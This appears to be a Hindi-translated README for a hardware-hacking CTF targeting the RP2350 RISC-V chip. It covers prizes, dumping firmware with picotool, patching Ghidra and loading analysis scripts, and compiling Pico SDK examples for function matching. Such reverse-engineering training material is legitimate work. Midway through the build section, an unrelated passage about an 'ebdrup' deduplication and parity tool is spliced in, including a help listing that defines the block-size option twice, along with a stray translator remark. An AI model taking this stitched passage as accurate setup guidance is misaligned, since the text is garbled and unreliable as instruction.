therealdreg/hcon2026hwctfHardware Hacking CTF hcon2026hwctf - RISCV Hazard3 (@Wren6991) Exploiting by @b1n4ri0 @antoniovazquezblanco & @therealdreg
अगर आप हार्डवेयर CTF में रुचि रखते हैं, तो यहाँ HC0N CTF 2026 की पहली सार्वजनिक चुनौती है जिसमें RISC-V RP2350 एक्सप्लॉइटेशन चुनौतियाँ (निम्न स्तर) शामिल हैं।
हमने चुनौती को बहुत अभिजात्य या कठिन न बनाने की कोशिश की है, ताकि सैकड़ों सम्मेलन प्रतिभागियों को चुनौतियाँ हल करने का मौका मिले। उम्मीद है कि हम इसे हासिल करने में सफल रहे हैं।
यदि आप CTF को घर पर चलाना चाहते हैं, तो एक Raspberry Pi Pico 2 लें, यह फर्मवेयर फ्लैश करें, और वाइट-अप न पढ़ें! -> ctf.uf2
किसी भी ऐसे बोर्ड (RP2350/RP2354...) का उपयोग करने वालों के लिए नोट जो CTF वाले से भिन्न है:
CTF PCB में GPIO 25 पर एक SMD LED है, आपके पास उस GPIO पर एक LED होना चाहिए
जब आप यह CTF पूरा कर लें, यदि आपको यह पसंद आया, तो यहाँ एक और समान चुनौती है जिसमें अलग चुनौतियाँ हैं: https://github.com/therealdreg/ctfhardwarehackingcon2026
चेतावनी: निम्नलिखित वाइट-अप में चुनौतियों के लिए स्पॉइलर हैं। यदि आप उन्हें स्वयं हल करना चाहते हैं, तो हम अनुशंसा करते हैं कि जब तक आप CTF पूरा न कर लें, तब तक उन्हें न पढ़ें।
पहला विजेता: @mrexodia (Duncan Ogilvie) writeups/first_winner.md
पुरस्कार: okhi हार्डवेयर कीलॉगर USB/PS2 किट + CWP (Certified WifiChallenge Professional) https://github.com/therealdreg/okhi
दूसरा विजेता: @M3RINOOOOO (Cristobal Merino Saez) writeups/second_winner.md
पुरस्कार: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, PICO2 H, CWP (Certified WifiChallenge Professional)
तीसरा विजेता: @p4bl0vx (Pablo Moya Lopez) writeups/third_winner.md
पुरस्कार: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, CWP (Certified WifiChallenge Professional).
यहाँ हम आपको HCON 2026 में हार्डवेयर हैकिंग CTF को आसान बनाने में कुछ मदद प्रदान करेंगे।
लिनक्स होस्ट आपका पहला विकल्प होना चाहिए ;-), डीबगिंग बेहतर काम करता है।
TeraTerm: Setup -> Terminal -> Transmit: CR+LF & [x] Local echo
अन्य:
cutecom:``` sudo apt-get update sudo apt-get install cutecom
# चेतावनी
चुनौतियों में से एक के लिए हार्डवेयर डिबगिंग की आवश्यकता है। यदि आप घर से चुनौती कर रहे हैं (बिना किसी साथी के जिसके पास दूसरा बोर्ड हो), तो उस चुनौती को हल करने के लिए आपको ये दो आइटम भी खरीदने होंगे। (यदि आप उन्हें नहीं खरीदते हैं, तो कोई चिंता नहीं—लेकिन आप उस विशिष्ट चुनौती को हल नहीं कर पाएंगे।)
- https://www.tiendatec.es/raspberry-pi-pico/2025-raspberry-pi-debug-probe-5056561803265.html
- https://www.tiendatec.es/raspberry-pi-pico/1979-cable-depuracion-pico-jtag-jst-sh-1-0-a-dupont-hembra-15cm-8472496024846.html
# स्क्रिप्ट के बारे में
इस रिपॉजिटरी में शामिल उपकरण @b1n4ri0 द्वारा समुदाय के लिए और विशेष रूप से 2026 HCON हार्डवेयर हैकिंग चैलेंज के लिए विकसित किए गए थे।
# RP2350 RISCV Hazard3 (@Wren6991) 3-स्टेज RV32IMACZb* प्रोसेसर का डिबग के साथ शोषण
RISCV Hazard3 एक 3-स्टेज RV32IMACZb* प्रोसेसर है जिसमें डिबग सपोर्ट है। इसका उपयोग HCON2026HWCTF बोर्ड पर पाए जाने वाले RP2350 माइक्रोकंट्रोलर में किया जाता है।
# picotool का उपयोग करके RISCV Hazard3 फर्मवेयर डंप करना
`picotool` के साथ RP2350 उपकरणों से फर्मवेयर डंप करना एक सीधी प्रक्रिया है। इस अनुभाग में, आप सीखेंगे कि इसे प्रभावी ढंग से कैसे करें।
नोट: `picotool` RP2350 (और RP2040) उपकरणों के साथ केवल तब इंटरैक्ट करता है जब वे BOOTSEL मोड में हों या यदि चल रहे फर्मवेयर में Pico SDK से USB stdio सपोर्ट शामिल हो।
## picotool बनाना
अपने पसंदीदा पैकेज मैनेजर के माध्यम से आवश्यक बिल्ड टूल्स और लाइब्रेरीज़ इंस्टॉल करें।```bash
sudo apt-get update
sudo apt install build-essential pkg-config libusb-1.0-0-dev cmake -y
अपने टूल्स को व्यवस्थित रखने के लिए एक समर्पित निर्देशिका बनाएँ। इससे यह सुनिश्चित होता है कि बाद के चरणों में उपयोग किए जाने वाले पथ सही हैं।```bash cd $HOME mkdir rptools cd rptools
`picotool` और `pico-sdk` प्रोजेक्ट्स को क्लोन करें, हमें टूल और SDK दोनों की आवश्यकता है। ध्यान दें कि `picotool` को सही ढंग से कंपाइल करने के लिए `pico-sdk` की आवश्यकता होती है।```bash
git clone https://github.com/raspberrypi/picotool.git
git clone https://github.com/raspberrypi/pico-sdk.git
cd picotool
बिल्ड डायरेक्टरी बनाएं और CMake चलाएं। महत्वपूर्ण: हमें CMake को यह बताने के लिए -DPICO_SDK_PATH फ्लैग का उपयोग करना होगा कि हमने पिछले चरण में SDK को कहां डाउनलोड किया था, या हम वातावरण में PICO_SDK_PATH सेट कर सकते हैं।```bash
mkdir build
cd build
cmake -DPICO_SDK_PATH=$HOME/rptools/pico-sdk ..
sudo make install
डिफ़ॉल्ट रूप से, USB उपकरणों तक पहुँचने के लिए रूट विशेषाधिकार की आवश्यकता होती है। `picotool` को `sudo` के बिना चलाने की अनुमति देने के लिए udev नियम फ़ाइल को कॉपी करें।```bash
sudo cp ../udev/60-picotool.rules /etc/udev/rules.d/
udev नियमों को पुनः लोड करें (या अपने डिवाइस को अनप्लग करके पुनः प्लग करें) और picotool version चलाकर संस्करण जांचें यह सुनिश्चित करने के लिए कि सब कुछ ठीक काम कर रहा है:```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-15.2.0, Release)
## प्री-बिल्ट बाइनरी का उपयोग करना
यदि आप बिल्ड प्रक्रिया को छोड़ना पसंद करते हैं, तो आप [आधिकारिक रिपॉजिटरी](https://github.com/raspberrypi/pico-sdk-tools/releases) से प्रीकंपाइल्ड बाइनरी डाउनलोड कर सकते हैं।```bash
gunzip picotool-2.2.0-a4-x86_64-lin.tar.gz
tar -xf picotool-2.2.0-a4-x86_64-lin.tar
cd picotool
picotool version चलाने पर अपेक्षित रूप से काम करना चाहिए:```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-11.4.0, Release)
## RP2350 पर BOOTSEL मोड सक्षम करें
फर्मवेयर डंप करने जैसे ऑपरेशन करने के लिए, `picotool` को डिवाइस को BOOTSEL मोड में होना आवश्यक है। हालांकि, `picotool` डिवाइस के साथ इंटरैक्ट कर सकता है, भले ही वर्तमान में चल रहे फर्मवेयर में Pico SDK से USB stdio समर्थन शामिल हो।
नीचे, मैं इस मोड को सक्रिय करने के कई तरीके बताऊंगा। वह चुनें जो आपके मामले के लिए सबसे उपयुक्त लगे, या बस वह जो आपके लिए काम करे।
यदि आपका बोर्ड **BOOTSEL मोड में नहीं है**, लेकिन इसमें USB stdio समर्थन**,** है, तो `picotool` कमांड निष्पादित करने का प्रयास करने पर आपको इस तरह का आउटपुट दिखाई देगा:```bash
$ ./picotool info
No accessible RP-series devices in BOOTSEL mode were found.
but:
RP2350 device at bus 1, address 23 appears to have a USB serial connection, so consider -f (or -F) to force reboot in order to run the command.
यह मानक हार्डवेयर विधि है:
BOOTSEL या BOOT बटन को दबाकर रखें।BOOTSEL बटन को छोड़ दें।वैकल्पिक (यदि आप बोर्ड को अनप्लग नहीं करना चाहते):
BOOTSEL बटन दबाकर रखें।RESET या RST बटन दबाएं और छोड़ें।BOOTSEL छोड़ें।अब आप picotool कमांड निष्पादित करने में सक्षम होना चाहिए:```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
### BOOTSEL को सक्षम करने वाला सॉफ़्टवेयर
यदि डिवाइस का फ़र्मवेयर चल रहा है और उसमें USB stdio समर्थन है, तो आप बोर्ड को छुए बिना इसे BOOTSEL मोड में जबरदस्ती डाल सकते हैं।```bash
./picotool reboot -uf
कमांड -u फ्लैग का उपयोग यह निर्दिष्ट करने के लिए करता है कि हम विशेष रूप से BOOTSEL मोड में रीबूट करना चाहते हैं। हालांकि, चूंकि डिवाइस वर्तमान में उपयोगकर्ता कोड निष्पादित कर रहा है, picotool डिफ़ॉल्ट रूप से इसे अनदेखा कर देगा। इसलिए, हमें चल रहे एप्लिकेशन को रीसेट कमांड स्वीकार करने के लिए बाध्य करने हेतु -f फ्लैग जोड़ना होगा।
-f के बिना, ऑपरेशन केवल इसलिए विफल हो जाएगा क्योंकि टूल उम्मीद करता है कि डिवाइस पहले से BOOTSEL मोड में हो।```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
**सुझाव:** आप `-f` ध्वज को अपने कमांड में जोड़कर बिना मैन्युअल रीबूट किए सीधे चल रहे डिवाइस पर कमांड निष्पादित कर सकते हैं। `picotool` रीबूट को संभालेगा, कमांड निष्पादित करेगा, और वापस एप्लिकेशन पर रीबूट करेगा।```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
The device was asked to reboot back into application mode.
इस CTF चुनौती के लिए, हम फर्मवेयर को सीधे BOOTSEL मोड में प्रवेश किए बिना निकाल सकते हैं।
मैं चल रहे प्रोग्राम के बारे में जानकारी एकत्र करने की सलाह देता हूँ। आप info कमांड का उपयोग करके ऐसा कर सकते हैं, जो डिफ़ॉल्ट रूप से “Program Information” अनुभाग प्रदर्शित करता है। चूँकि डिवाइस वर्तमान में कोड चला रहा है, हम कनेक्शन को बल देने के लिए -f फ़्लैग जोड़ते हैं।```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information name: hello_usb features: USB stdin / stdout binary start: 0x10000000 binary end: 0x10011d50 target chip: RP2350 image type: RISC-V
The device was asked to reboot back into application mode.
यह आउटपुट प्रोग्राम का नाम, उसकी मेमोरी रेंज और इमेज आर्किटेक्चर जैसी आवश्यक जानकारी प्रकट करता है।
अब, हम प्रोग्राम को निकालने के लिए आगे बढ़ते हैं, निकाले गए फ़ाइलों को संग्रहीत करने के लिए एक निर्देशिका बनाते हैं।```bash
mkdir -p $HOME/hcon2026hwctf/
फर्मवेयर निकालने के लिए निम्न कमांड चलाएँ:```bash ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
यह एकल कमांड पूरी निष्कर्षण प्रक्रिया को संभालता है। यह RP2350 को BOOTSEL मोड में रीबूट करने के लिए मजबूर करता है, फ्लैश मेमोरी से वर्तमान में स्थापित प्रोग्राम को पढ़ता है, और इसे एक रॉ बाइनरी फ़ाइल के रूप में सहेजता है। निष्कर्षण सही था यह सुनिश्चित करने के लिए, यह डेटा को वापस पढ़ता है ताकि यह सत्यापित किया जा सके कि डंप की गई फ़ाइल चिप पर मौजूद सामग्री से बिल्कुल मेल खाती है।
आपको इस प्रकार का आउटपुट मिलना चाहिए:```bash
$ ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Saving file: [==============================] 100%
Wrote 73040 bytes to /home/b1n4ri0/hcon2026hwctf/hello_usb.bin
Verifying Flash: [==============================] 100%
OK
The device was asked to reboot back into application mode.
और बस, आपने प्रोग्राम को सफलतापूर्वक डंप कर लिया है!
नोट: ध्यान रखें कि आपने केवल इंस्टॉल किया गया प्रोग्राम निकाला है, फ्लैश मेमोरी की संपूर्ण सामग्री नहीं।
यदि त्रुटियाँ आती हैं, तो सत्यापित करें कि डिवाइस ठीक से कनेक्टेड है। यदि स्वचालित रीबूट विफल होता है, तो मैन्युअल रूप से BOOTSEL मोड में प्रवेश करें और -f फ्लैग के बिना कमांड को फिर से चलाएँ। उपलब्ध विकल्पों के बारे में अधिक जानकारी के लिए, बस picotool help <command> चलाएँ।
एक बार RP2350 फर्मवेयर निकाल लेने के बाद, अगला तार्किक कदम रिवर्स इंजीनियरिंग है। इस कार्य के लिए, हम Ghidra का उपयोग करने की सलाह देते हैं। हालाँकि, सटीक विश्लेषण सुनिश्चित करने के लिए कुछ समायोजन आवश्यक हैं।
बाइनरी लोड करने और इसे डिसअसेंबल करने का प्रयास करने पर, आपको संभवतः अधूरे फंक्शन या दृष्टिगत रूप से दूषित कोड का सामना करना पड़ेगा। इसका मतलब यह नहीं है कि आपका निष्कर्षण विफल हुआ। समस्या इस तथ्य में निहित है कि Ghidra (संस्करण 12.0.2 सहित) इस विशिष्ट SoC के लिए विशिष्ट कुछ निर्देशों को मूल रूप से व्याख्या नहीं कर सकता है।
तकनीकी कारण यह है कि Ghidra RISC-V C (संपीड़ित) और B (बिट-मैनिपुलेशन) एक्सटेंशन को एक प्रारंभिक ड्राफ्ट स्पेसिफिकेशन (v0.92) के आधार पर लागू करता है। इसके विपरीत, RP2350 में उपयोग किया जाने वाला Hazard3 CPU अनुमोदित v1.0.0 संस्करण को लागू करता है। नतीजतन, कई आधुनिक निर्देश या तो Ghidra के लिए अज्ञात हैं या पहले की परिभाषाओं के बाद से बदल गए हैं।
Hazard3 द्वारा समर्थित निर्देशों के बारे में विस्तृत जानकारी के लिए, आधिकारिक दस्तावेज़ देखें: wren.wtf/hazard3/doc/
इस विरोध को हल करने और सही डिसअसेंबली प्राप्त करने के लिए, आपको Ghidra की प्रोसेसर परिभाषाओं को अनुमोदित v1.0.0 स्पेक में अपडेट करना होगा।
सबसे पहले, अपने Ghidra इंस्टॉलेशन पथ का पता लगाएँ (जैसे, ~/ghidra_12.0_PUBLIC)। RISC-V प्रोसेसर निर्देशिका पर जाएँ और बैकअप के रूप में मौजूदा data फ़ोल्डर का नाम बदलें:```bash
export GHIDRA_INSTALL_DIR=~/ghidra_12.0_PUBLIC
cd $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV
mv data data_back
इसके बाद, अपडेट किए गए निर्देश परिभाषाओं वाले रिपॉजिटरी को क्लोन करें और नए `data` फ़ोल्डर को अपने Ghidra इंस्टॉलेशन में ले जाएँ:```bash
cd $HOME
git clone https://github.com/therealdreg/hcon2026hwctf.git
cp -r hcon2026hwctf/RVGhidraImpl/data $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV/
पैच किए गए प्रोसेसर परिभाषाओं के साथ, बाइनरी को सही ढंग से लोड करने के लिए इन चरणों का पालन करें:
PyGhidra लॉन्च करें।Non-Shared Project बनाएं (जैसे, hwctf2026)।Active Project विंडो में खींचें और छोड़ें।Language फ़ील्ड में "..." बटन पर क्लिक करें।RISCV टाइप करें और चुनें: RISCV:LE:32:default:gcc (RISCV डिफ़ॉल्ट 32 लिटिल gcc)।Ok से पुष्टि करें।CodeBrowser खोलें।No चुनें।एक बार बाइनरी सही प्रोसेसर परिभाषाओं के साथ लोड हो जाने पर, Ghidra ऑपकोड को सटीक रूप से डिस्सेम्बल करने में सक्षम होगा। हालांकि, यह ध्यान रखना महत्वपूर्ण है कि हम आमतौर पर रॉ .bin फ़ाइलों के साथ काम कर रहे होते हैं। इन फ़ाइलों में स्वाभाविक रूप से प्रतीक तालिकाएँ या मेटाडेटा नहीं होते हैं जो विश्लेषण को सुविधाजनक बनाते हैं।
पुनर्प्राप्त की जा सकने वाली जानकारी की मात्रा पूरी तरह से बाइनरी की उत्पत्ति पर निर्भर करती है। इस मामले में, हमारा लक्ष्य pico-sdk v2.2.0 का उपयोग करके संकलित एक RP2350 फर्मवेयर है। यह एक महत्वपूर्ण लाभ प्रदान करता है क्योंकि यह आधिकारिक SDK का उपयोग करता है, बाइनरी picotool के साथ संगत हो सकती है। यह टूल हमें मेटाडेटा की पहचान करने और निकालने की अनुमति देता है, बशर्ते बाइनरी में अभी भी picotool को पार्स करने के लिए आवश्यक हेडर मौजूद हों।
डिफ़ॉल्ट रूप से, Ghidra मैन्युअल हस्तक्षेप के बिना मेमोरी लेआउट की व्याख्या नहीं कर सकता। उचित मेमोरी मैप के बिना फर्मवेयर का विश्लेषण करने का प्रयास खराब परिणाम और कई त्रुटियां देगा। यह Ghidra की आर्किटेक्चर के कारण है, जिसे संदर्भों को हल करने के लिए स्पष्ट संदर्भ की आवश्यकता होती है।
इस विशिष्ट परिदृश्य में, प्रोग्राम SRAM से निष्पादित होने के लिए संकलित किया गया है। इसका मतलब है कि फर्मवेयर में विभिन्न आधार पतों वाले दो अलग-अलग मेमोरी क्षेत्रों के सक्रिय संदर्भ हैं। सही कॉन्फ़िगरेशन के बिना, Ghidra इन क्षेत्रों में डिस्सेम्बली प्रवाह का अनुसरण करने में संघर्ष करता है, जिससे रिवर्स इंजीनियरिंग प्रक्रिया काफी जटिल हो जाती है।
सेटअप को सुव्यवस्थित करने और स्थिरता सुनिश्चित करने के लिए, मैंने एक स्क्रिप्ट विकसित की है जो मेमोरी मैपिंग और पर्यावरण कॉन्फ़िगरेशन को स्वचालित करती है। जबकि यह स्वचालन प्रारंभिक चरणों को सरल बनाता है, विश्लेषण वर्कफ़्लो के अंतर्निहित तर्क को समझने के लिए स्क्रिप्ट के स्रोत कोड या रिपॉजिटरी के README की समीक्षा करने की अत्यधिक अनुशंसा की जाती है। मेमोरी लेआउट और परिधीय मैपिंग की गहन तकनीकी समझ के लिए, आपको आधिकारिक RP2350 डेटाशीट से भी परामर्श लेना चाहिए।
Ghidra RP2350 सेटअप टूल और PyGhidra के लिए SVD लोडर दोनों को सीधे इस रिपॉजिटरी में शामिल किया गया है। निम्नलिखित अनुभाग इन टूल्स को प्रभावी ढंग से स्थापित करने और उपयोग करने के बारे में विस्तृत निर्देश प्रदान करते हैं।
hcon26_rp2350-ctf_auto_setup.py स्क्रिप्ट Raspberry Pi RP2350 (RISC-V Hazard3 कोर) को लक्षित करने वाले फर्मवेयर के लिए प्रारंभिक कॉन्फ़िगरेशन और स्थैतिक विश्लेषण वातावरण को स्वचालित करने के लिए डिज़ाइन की गई है। यह टूल विशेष रूप से H-Con 2026 हार्डवेयर हैकिंग चैलेंज से जुड़े रिवर्स इंजीनियरिंग कार्यों का समर्थन करने के लिए विकसित किया गया है।
रॉ बाइनरी फर्मवेयर में स्वाभाविक रूप से स्वचालित लोडिंग के लिए आवश्यक फ़ाइल हेडर और प्रतीक तालिकाओं का अभाव होता है। यह विश्लेषकों को कोई भी कोड पढ़ने योग्य होने से पहले मैन्युअल रूप से मेमोरी मैप, एंट्री पॉइंट और प्रोसेसर स्थितियों को कॉन्फ़िगर करने के लिए मजबूर करता है। यह टूल उस पूरी प्रक्रिया को स्वचालित करता है, तुरंत बाइनरी को रिवर्स इंजीनियरिंग के लिए तैयार करता है।
यह स्क्रिप्ट एम्बेडेड फर्मवेयर विश्लेषण के लिए आमतौर पर आवश्यक मैन्युअल सेटअप ओवरहेड को समाप्त करती है। लोडिंग प्रक्रिया को स्वचालित करके, यह एक सुसंगत और कार्यात्मक Ghidra प्रोजेक्ट सुनिश्चित करता है, जिससे प्रतिभागी पर्यावरण कॉन्फ़िगरेशन के बजाय तुरंत कमजोरी अनुसंधान और तर्क विश्लेषण पर ध्यान केंद्रित कर सकते हैं।
स्वचालित पर्यावरण कॉन्फ़िगरेशन: RP2350 के लिए सही मेमोरी लेआउट तुरंत स्थापित करता है, डीकंपाइलर द्वारा आवश्यक उचित अनुमतियों के साथ फ्लैश (XIP) और SRAM क्षेत्रों को परिभाषित करता है।
एंट्री पॉइंट डिटेक्शन: सही निष्पादन प्रारंभ पते की पहचान करने के लिए RP2350-विशिष्ट हेडर को स्कैन करता है, "On-RAM" संकलित बाइनरी में अक्सर सामने आने वाले गैर-मानक बूट वेक्टर्स को संभालता है।
संदर्भ समाधान: ग्लोबल पॉइंटर gp रजिस्टर को स्वचालित रूप से आरंभ करता है। यह सुनिश्चित करता है कि ग्लोबल वेरिएबल्स और स्टैटिक डेटा के संदर्भ डीकंपाइलर में टूटे हुए ऑफसेट के रूप में दिखाई देने के बजाय सही ढंग से हल हो जाएं।
डेटा अनुभाग पुनर्निर्माण: फ्लैश से RAM में आरंभिक अनुभागों की पहचान करता है और उन्हें स्थानांतरित करता है, बूट प्रक्रिया की प्रतिकृति बनाता है। यह सुनिश्चित करता है कि स्ट्रिंग लिटरल और ग्लोबल वेरिएबल विश्लेषण के दौरान अपने सही मेमोरी स्थानों पर दिखाई दें।
प्रतीक पुनर्प्राप्ति: मुख्य एप्लिकेशन लॉजिक और रनटाइम आरंभीकरण अनुक्रम की अनुमानित पहचान करता है, जिससे विश्लेषक पूरे बूटलोडर को मैन्युअल रूप से ट्रेस किए बिना सीधे उपयोगकर्ता कोड पर जा सकता है।
con26_rp2350-ctf_auto_setup.py फ़ाइल को सीधे डाउनलोड करें।```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. स्क्रिप्ट फ़ाइल को अपने Ghidra इंस्टॉलेशन के `ghidra_scripts` निर्देशिका में कॉपी करें।```bash
cd hcon2026hwctf/GhidraScripts
cp hcon26_rp2350-ctf_auto_setup.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
लक्ष्य .bin फ़ाइल को Ghidra (RV32) में आयात करें।
फ़ाइल को Code Browser में खोलें।
जब फ़ाइल का विश्लेषण करने के लिए संकेत दिया जाए, तो No चुनें।
Script Manager Window > Script Manager खोलें।
RP2350 श्रेणी में स्थित hcon26_rp2350-ctf_auto_setup.py खोजें।
स्क्रिप्ट चलाएँ और पूर्णता की पुष्टि के लिए कंसोल आउटपुट की प्रतीक्षा करें। कंसोल में प्रदर्शित Next Steps जानकारी को पढ़ना सुनिश्चित करें।
सेटअप स्क्रिप्ट समाप्त होने के बाद, हार्डवेयर रजिस्टर और परिधीयों को मैप करने के लिए RP2350 SVD Loader निष्पादित करें।
सिस्टम व्यू विवरण (SVD) फ़ाइलें XML-आधारित दस्तावेज़ हैं जिनमें माइक्रोकंट्रोलर के परिधीय रजिस्टरों का विस्तृत विवरण होता है। वे मेमोरी पतों, रजिस्टर ऑफ़सेट, बिटफ़ील्ड और रीसेट मानों को परिभाषित करते हैं। रिवर्स इंजीनियरिंग में, ये फ़ाइलें किसी बाइनरी के कच्चे मेमोरी स्पेस को मानव-पठनीय परिधीय नामों में मैप करने, अज्ञात मेमोरी एक्सेस को पहचाने गए हार्डवेयर इंटरैक्शन में बदलने के लिए आवश्यक हैं।
यह स्क्रिप्ट PyGhidra के लिए अनुकूलित RP2350 (Pico 2) का SVD लोडर है। यह आधिकारिक SVD विनिर्देशों के आधार पर मेमोरी सेगमेंट और रजिस्टर परिभाषाओं के निर्माण को स्वचालित करता है।
यह संस्करण निम्नलिखित रिपॉजिटरी में पाए गए पिछले कार्य के आधार पर विकसित किया गया है:
इसके अलावा आप @antoniovazquezblanco द्वारा विकसित https://github.com/antoniovazquezblanco/GhidraSVD का उपयोग कर सकते हैं।
SVD-Loader-RP2350.py फ़ाइल डाउनलोड करें।```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. स्क्रिप्ट फ़ाइल को अपने Ghidra इंस्टॉलेशन के `ghidra_scripts` निर्देशिका में कॉपी करें।```bash
cd hcon2026hwctf/GhidraScripts
cp SVD-Loader-RP2350.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
.bin फ़ाइल को Ghidra में आयात करें।CodeBrowser में खोलें।No चुनें।Window > Script Manager।RP2350 श्रेणी के अंतर्गत SVD-Loader-RP2350.py खोजें।A दबाकर बाइनरी का विश्लेषण करें।
प्रदान की गई स्क्रिप्ट को एक कार्यशील PyGhidra वातावरण की आवश्यकता है।
- **निर्भरताएँ स्थापित करें**```bash
pip install pyghidra cmsis-svd
## समस्या निवारण: import cmsis-svd
यदि `SVD-Loader-RP2350.py` को `cmsis-svd` लाइब्रेरी नहीं मिलती, तो आप इसे सीधे PyGhidra इंटरप्रेटर में स्थापित कर सकते हैं:
1. **CodeBrowser** में, `Window > PyGhidra` पर जाएं।
2. निम्नलिखित स्निपेट निष्पादित करें:```python
import subprocess as s
import sys
s.check_call([sys.executable, "-m", "pip", "install", "cmsis-svd"])
Ghidra को कॉन्फ़िगर करने और बाइनरी को डिसअसेंबल करने के बाद, अगला उद्देश्य चैलेंज के विशिष्ट फ़ंक्शंस को SDK से संबंधित फ़ंक्शंस से अलग करना है।
आमतौर पर, इस कार्य के लिए मानक उपकरण Ghidra FID (Function ID) है। कार्यप्रवाह में SDK उदाहरणों को लक्ष्य बाइनरी के समान कॉन्फ़िगरेशन के साथ संकलित करके एक FIDB डेटाबेस तैयार करना शामिल है, इससे Ghidra स्वचालित रूप से फ़ंक्शंस की पहचान और नामकरण कर सकता है। हालांकि, इस मामले में FID की पहचान दर काफ़ी कम है।
इस सीमा को दूर करने के लिए, हम BSim का उपयोग करेंगे। जबकि Version Tracking या Ghidriff जैसे अन्य विकल्प मौजूद हैं, वे मुख्य रूप से संस्करणों के बीच परिवर्तनों की तुलना करने (पैच डिफ़िंग) के लिए डिज़ाइन किए गए हैं और इस विशिष्ट उद्देश्य के लिए उतने प्रभावी नहीं हैं।
Ghidra को तुलना के माध्यम से फ़ंक्शंस की पहचान करने के लिए, हमें पहले pico-sdk उदाहरणों को संकलित करके एक संदर्भ डेटाबेस तैयार करना होगा। यदि आप अपना समय अनुकूलित करना चाहते हैं, तो आप इस अनुभाग के अंत में उल्लिखित चार आवश्यक बाइनरी पर ध्यान केंद्रित कर सकते हैं।
आधिकारिक उदाहरण रिपॉजिटरी को क्लोन करें:```bash git clone https://github.com/raspberrypi/pico-examples.git cd pico-examples mkdir build cd build
### Raspberry Pi Pico एक्सटेंशन
इन पथों का उपयोग करने के लिए, Raspberry Pi Pico VS Code एक्सटेंशन स्थापित होना चाहिए। ये निर्देशिका संरचनाएं एक्सटेंशन के पर्यावरण के मूल निवासी हैं।
एक्सटेंशन स्थापित होने के बाद, अपने प्रोजेक्ट को **Board Type: Pico 2** और **Architecture (pico2): RISC-V** आर्किटेक्चर चुनकर कॉन्फ़िगर करें। बस इन सेटिंग्स के साथ प्रोजेक्ट बनाने से सभी आवश्यक संसाधनों की स्थापना शुरू हो जाएगी। इस मामले में किसी अतिरिक्त संकलन की आवश्यकता नहीं है।
हम RP2350 Hazard3 के लिए एक विशिष्ट कॉन्फ़िगरेशन का उपयोग करेंगे, यह सुनिश्चित करते हुए कि प्रतीक और स्वरूपण चैलेंज बाइनरी से मेल खाते हैं।```bash
export PICO_SDK_PATH="$HOME/.pico-sdk/sdk/2.2.0"
export PICO_TOOLCHAIN_PATH="$HOME/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3"
यह नया सॉफ़्टवेयर कुछ अनोखे लोगों के अनोखे काम पर आधारित है: Jody Bruchon का jdupes, और विशेष रूप से ब्लॉक-स्तरीय डेटा डिडुप्लीकेशन के क्षेत्र में
b3sum(Rust मेंgbtoolके रूप में पुनर्लेखन, फिरbl3sum), और Ronsor का Perl कार्यcsum(xxxdedupसे कुछ विचारों के साथ भी)।
संकलित करने के लिए, आपको एक C कंपाइलर और argp स्टैंडअलोन पुस्तकालय की आवश्यकता है ( यदि आपके libc कार्यान्वयन में यह शामिल नहीं है तो इसे https://github.com/rjframe/standalone-argp से डाउनलोड करें ):
$ make
argp पुस्तकालय के बिना सिस्टम के लिए संकलित करने के लिए:
$ make ARGP=
वैकल्पिक रूप से, बाइनरी स्थापित करने के लिए:
$ make install
बुनियादी परीक्षण चलाने के लिए:
$ make test
Usage: ebdrup [OPTION...] - create parity volumes for data protection
-b, --block-size=BLOCK_SIZE Use a specific block size for deduplication
-c, --create Create parity files (must be set)
-d, --data-dir=DIR Directories to include in the parity
default: "."
-f, --file-list=FILE Read file list from FILE (- for stdin)
-h, --help Show this help message and exit
-i, --integrity Include a SHA1 of each deduplicated chunk for
integrity checking
-o, --output Output file name. Default: ebdrup.par2
-p, --parity=P Parity size (1-100) (default: 20)
-r, --redundancy=REDUNDANCY Redundancy (1-100) (default: 20)
-s, --block-size=BLOCK_SIZE Block size for deduplication (default: 4096)
-t, --target=DIR Target directory for output. Default: "."
-v, --verbose Verbose output
-V, --version Output version information and exit
``````bash
cmake -DPICO_PLATFORM=rp2350-riscv \
-DPICO_BOARD=pico2 \
-DPICO_COMPILER=pico_riscv_gcc \
-DCMAKE_BUILD_TYPE=Debug \
-DPICO_DEFAULT_BINARY_TYPE=copy_to_ram \
-DPICO_STDIO_USB=1 \
-DPICO_STDIO_UART=0 \
-DCMAKE_C_FLAGS="-march=rv32ima_zicsr_zifencei_zba_zbb_zbs_zbkb_zca_zcb_zcmp -mabi=ilp32 -O0 -g3 -fno-omit-frame-pointer -fno-lto" \
-DCMAKE_EXE_LINKER_FLAGS="-Wl,--print-memory-usage" \
..
(No content provided to translate.)```bash make -j$(nproc) -k
एक बार संकलन पूरा हो जाने पर, आसान विश्लेषण के लिए सभी `.elf` फाइलों को एक समर्पित निर्देशिका में समूहित करें:```bash
mkdir ../sdk-elfs
find . -name "*.elf" -exec cp --backup=numbered {} ../sdk-elfs/ \;
